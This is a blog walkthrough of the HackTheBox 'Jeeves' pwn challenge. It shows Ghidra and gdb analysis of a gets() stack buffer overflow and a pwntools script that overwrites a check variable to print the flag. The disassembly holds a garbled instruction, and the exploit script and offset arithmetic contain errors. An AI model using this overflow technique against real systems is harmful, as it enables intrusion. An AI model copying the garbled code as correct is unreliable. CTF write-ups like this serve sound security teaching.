Binary Exploitation: HTB Jeeves Walkthrough

Ricky Severino
6 min readDec 15, 2020

Exploiting a simple buffer overflow vulnerability.

./jeeves main function disassembled

In this post we will go over a simple buffer overflow exploit with Jeeves, the HackTheBox Pwn challenge. As this is on the easier side, techniques such as Return Oriented Programming (ROP) and Canary bypass will not be covered here…but they will be soon, so stay tuned!

We begin by running the binary to see how it works. A prompt is given which asks for a name that is subsequently printing back to us.

Our inputted string is likely stored into a buffer so lets see what happens if we provide a really long string.

As you can see, inputting a long string results in a Segmentation fault. This can occur when a program attempts to access a memory location that it is not allowed to access; a buffer overflow is likely the cause here. Let’s dig in deeper!

To decompile the binary I will be using Ghidra, an open source software reverse engineering (SRE) framework developed by the National Security Agency (NSA). Importing the binary we get the following decompiled code from the main function:

The variables have been renamed so they can be easier to follow. Here we see the strings that were presented to us when the binary was first executed along with strings we have not seen. Lines 15–17 allocate 256 (0x100) bytes of memory using malloc() which returns a pointer to the requested memory; this is stored in variable buffer. A file with the name of flag.txt is opened and assigned to variable flag_file. The contents of this file is stored into buffer and is eventually printed at line 18. However, in order to execute this part of the code we must pass the comparison on line 14. The check variable is compared against the hex value 0x1337bab3. This check will never passed because the variable was initialized differently. Looking at the assembly we see its value in hex:

The assembly view shows that this stack variable is given the hex value of 0xdeadc0d3. We must somehow change the value of this stack variable in order to print the contents of the flag. This is where the buffer overflow exploit comes in!

Lets begin by checking the offsets of the stack variables using the assembly view:

We need to figure out how many bytes we can overflow the buffer in order to overwrite the check variable. user_input starts at offset -0x48 and check starts at offset -0xc. This gives us 0x40 - 0xc = 0x3C or 60 bytes between the start of our input the start of check. Another way to get this value is to use gdb, the GNU debugger. I will be using gdb along with gef, an extension used by exploit developers and reverse engineers.

gef➤ disas main
Dump of assembler code for function main:
0x00000000000011e9 <+0>: endbr64
0x00000000000011ed <+4>: push rbp
0x00000000000011ee <+5>: mov rbp,rsp
0x00000000000011f1 <+8>: sub rsp,0x40
0x00000000000011f5 <+12>: mov DWORD PTR [rbp-0x4],0xdeadc0d3
0x00000000000011fc <+19>: lea rdi,[rip+0xe05] # 0x2008
0x0000000000001203 <+26>: mov eax,0x0
0x0000000000001208 <+31>: call 0x10a0 <printf@plt>
0x000000000000120d <+36>: lea rax,[rbp-0x40]
0x0000000000001211 <+40>: mov radipraxy
0x0000000000001214 <+43>: mov eax,0x0
0x0000000000001219 <+48>: call 0x10d0 <gets@plt>
0x000000000000121e <+53>: lea rax,[rbp-0x40]
0x0000000000001222 <+57>: mov rsi,rax
0x0000000000001225 <+60>: lea rdi,[rip+0xe04] # 0x2030
0x000000000000122c <+67>: mov eax,0x0
0x0000000000001231 <+72>: call 0x10a0 <printf@plt>
0x0000000000001236 <+77>: cmp DWORD PTR [rbp-0x4],0x1337bab3
0x000000000000123d <+84>: jne 0x12a8 <main+191>
0x000000000000123f <+86>: mov edi,0x100
0x0000000000001244 <+91>: call 0x10e0 <malloc@plt>
0x0000000000001249 <+96>: mov QWORD PTR [rbp-0x10],rax
0x000000000000124d <+100>: mov esi,0x0
0x0000000000001252 <+105>: lea rdi,[rip+0xdfc] # 0x2055
0x0000000000001259 <+112>: mov eax,0x0
0x000000000000125e <+117>: call 0x10f0 <open@plt>
0x0000000000001263 <+122>: mov DWORD PTR [rbp-0x14],eax
0x0000000000001266 <+125>: mov rcx,QWORD PTR [rbp-0x10]
0x000000000000126a <+129>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000126d <+132>: mov edx,0x100
0x0000000000001272 <+137>: mov rsi,rcx
0x0000000000001275 <+140>: mov edi,eax
0x0000000000001277 <+142>: mov eax,0x0
0x000000000000127c <+147>: call 0x10c0 <read@plt>
0x0000000000001281 <+152>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001285 <+156>: mov rsi,rax
0x0000000000001288 <+159>: lea rdi,[rip+0xdd1] # 0x2060
0x000000000000128f <+166>: mov eax,0x0
0x0000000000001294 <+171>: call 0x10a0 <printf@plt>
0x0000000000001299 <+176>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000129c <+179>: mov edi,eax
0x000000000000129e <+181>: mov eax,0x0
0x00000000000012a3 <+186>: call 0x10b0 <close@plt>
0x00000000000012a8 <+191>: mov eax,0x0
0x00000000000012ad <+196>: leave
0x00000000000012ae <+197>: ret
End of assembler dump.
gef➤ b *main+53
Breakpoint 1 at 0x121e
gef➤

After loading the binary into gdb we disassemble main and set a breakpoint right after the gets() function that reads in our input. In this case that is main+53.

We resume execution with the command r. We are then prompted to enter our name as usual. After hitting return, gdb will display the contents of the stack along with the current values of the registers, we can ignore this for now and continue on.

gef➤ search-pattern FOOBAR
[+] Searching ‘FOOBAR’ in memory
[+] In ‘[heap]’(0x555555559000–0x55555557a000), permission=rw-
0x5555555596b0–0x5555555596b8 → “FOOBAR\n”
[+] In ‘[stack]’(0x7ffffffde000–0x7ffffffff000), permission=rw-
0x7fffffffe0e0–0x7fffffffe0e6 → “FOOBAR”
gef➤ search-pattern 0xdeadc0d3
[+] Searching ‘\xd3\xc0\xad\xde’ in memory
[+] In ‘/root/htb/Pwn/jeeves/jeeves’(0x555555555000–0x555555556000), permission=r-x
0x5555555551f8–0x555555555208 → “\xd3\xc0\xad\xde[…]”
[+] In ‘[stack]’(0x7ffffffde000–0x7ffffffff000), permission=rw-
0x7fffffffe11c — 0x7fffffffe12c → “\xd3\xc0\xad\xde[…]”
gef➤

We can get the number of bytes between the start of our input and the start of check by using the command search-pattern along with the values of each. This command will return the start and end memory regions of the pattern, in this case that is 0x7fffffffe0e0–0x7fffffffe0e6 for “FOOBAR” and 0x7fffffffe11c — 0x7fffffffe12c for 0xdeadc0d3. Subtract the starting hex values to get the number of bytes between them:

0x7fffffffe11c - 0x7fffffffe0e0 = 0x3C or 60 bytes.

Why use the gdb method instead of summing the stack variable sizes in Ghidra? Well, its extremely valuable to learn this method as decompiling tools may not always be available to us.

The exploit is now ready to be crafted. For this we will be using pwntools, a CTF and exploit development library for Python. For more information on how to use this library you can go here for a quick rundown.

from pwn import *target = process(“nc”)
target.sendline(“[IP ADDRESS] [PORT]”)
payload = “A”*60
payload += p64(0x1337bab3)
target.sendline(payload)
print target.recvuntil(“}”)

In this exploit we will use netcat to connect to the remote server hence the the string “nc”. [IP ADDRESS] and [PORT] are to be replaced with their respective values when starting an instance on hackthebox, for example:

We initialize the payload with 60 “A”s as this is the amount of bytes it takes to reach the check stack variable. The hex value of 0x1337bab3 is then appended to the payload using the pwntools function p64(). The function essentially packs the bytes for 64-bit as this is a 64-bit binary. We use 0x1337bab3 as this is the value that is needed to pass the if statement. After sending the payload we print the server response up until the “}” character; Hackthebox flags have the following format: HTB{S0m3_T3xT}.

Let’s run the exploit.

It works! We got the flag!

I hope this walkthrough was helpful and I thank you for staying this long. Stay tuned for more content and be sure follow me on GitHub!

--

--